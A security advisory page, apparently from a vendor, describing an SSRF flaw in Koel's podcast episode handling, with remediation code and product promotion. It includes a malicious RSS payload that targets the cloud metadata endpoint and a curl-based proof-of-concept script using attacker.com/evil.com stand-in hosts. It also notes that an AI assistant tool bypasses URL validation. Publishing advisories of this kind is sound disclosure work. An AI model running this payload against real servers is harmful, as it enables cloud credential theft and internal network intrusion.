GHSA-7j2f-6h2r-6cqc is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in phanan/koel. O3 Security confirms whether GHSA-7j2f-6h2r-6cqc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7j2f-6h2r-6cqc.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-7j2f-6h2r-6cqc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
phanan/koelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode <enclosure url="..."> values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()->get() and streams it back to the user, enabling full-read SSRF against internal services.
Vulnerability Details
Episode URL Stored Without Validation
File: app/Services/Podcast/PodcastService.php, line 146
'path' => $episodeValue->enclosure->url, // Unvalidated URL from RSS XML
The SafeUrl rule is applied to the podcast feed URL at subscription time (SubscribeToPodcastRequest), but episode enclosure URLs parsed from the feed XML are stored as-is.
SSRF Trigger: Full Content Download
File: app/Values/Podcast/EpisodePlayable.php, line 42
Http::sink($file)->get($episode->path)->throw();
When an episode is played, PodcastStreamerAdapter::stream() first attempts getStreamableUrl() (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to EpisodePlayable::createForEpisode(), which downloads the full response body and streams it back to the user.
SafeUrl Applied Only to Feed URL
File: app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php
public function rules(): array
{
return ['url' => ['required', 'url:http,https', new SafeUrl]];
}
The SafeUrl rule (app/Rules/SafeUrl.php) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL — not the content within the feed.
Attack Flow
- Attacker registers an account (Community edition, no Plus required)
- Attacker hosts a malicious RSS feed on a public server:
<rss version="2.0"> <channel> <title>Legit Podcast</title> <item> <title>Episode 1</title> <enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/" type="audio/mpeg" length="1000"/> <guid>ssrf-1</guid> </item> </channel> </rss> POST /api/podcastswithurl=https://evil.com/feed.xml— passesSafeUrl(public URL)- Koel parses feed, stores episode with
path = http://169.254.169.254/... - Attacker plays episode:
GET /play/{episode_id} - Server executes
Http::sink($file)->get("http://169.254.169.254/...") - AWS metadata response downloaded to disk, streamed back to attacker
Proof of Concept
#!/bin/bash
# PoC: Koel SSRF via Podcast Episode Enclosure URL
# Step 1: Host malicious RSS feed (feed.xml) on attacker server
# Step 2: Subscribe to the podcast
KOEL_URL="https://TARGET"
API_TOKEN="<api_token>"
# Subscribe to malicious podcast
curl -X POST "$KOEL_URL/api/podcasts" \
-H "Authorization: Bearer $API_TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "https://attacker.com/feed.xml"}'
# List episodes to get the episode ID
EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \
-H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id')
# Play the episode — triggers SSRF, returns internal service response
curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin
cat response.bin
# Expected: AWS metadata / internal service response
Impact
- Cloud credential theft: Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)
- Internal network reconnaissance: Scan ports and enumerate internal HTTP services
- Data exfiltration: Read responses from internal APIs, admin panels, databases with HTTP interfaces
- Full response body: Unlike blind SSRF, the entire response is returned to the attacker
Secondary Finding: SSRF Bypass via AI Radio Station Tool
File: app/Ai/Tools/AddRadioStation.php, lines 35-38
The AI assistant's AddRadioStation tool creates radio stations by calling RadioService::createRadioStation() directly, bypassing the SafeUrl and HasAudioContentType validation rules that protect the REST API endpoint.
Impact: Same SSRF but requires Plus license. CVSS 7.7 HIGH.
Novelty Check
- No existing CVEs found for Koel (searched NVD, GitHub Advisories, web)
- No SECURITY.md in the repository
- This is a novel vulnerability
Remediation
Fix 1: Validate episode enclosure URLs in synchronizeEpisodes():
foreach ($episodeCollection as $episodeValue) {
$enclosureUrl = $episodeValue->enclosure->url;
$host = parse_url($enclosureUrl, PHP_URL_HOST);
if (!$host || !Network::isPublicHost($host)) {
continue; // Skip episodes with non-public URLs
}
// ... rest of episode creation
}
Fix 2: Defense-in-depth validation at playback time in EpisodePlayable::createForEpisode().
Fix 3: Add SafeUrl validation in AddRadioStation AI tool.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phanan/koel | all versions | 9.3.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phanan/koel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update phanan/koel to 9.3.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7j2f-6h2r-6cqc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7j2f-6h2r-6cqc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7j2f-6h2r-6cqc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7j2f-6h2r-6cqc in your dependencies?
O3 detects GHSA-7j2f-6h2r-6cqc across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.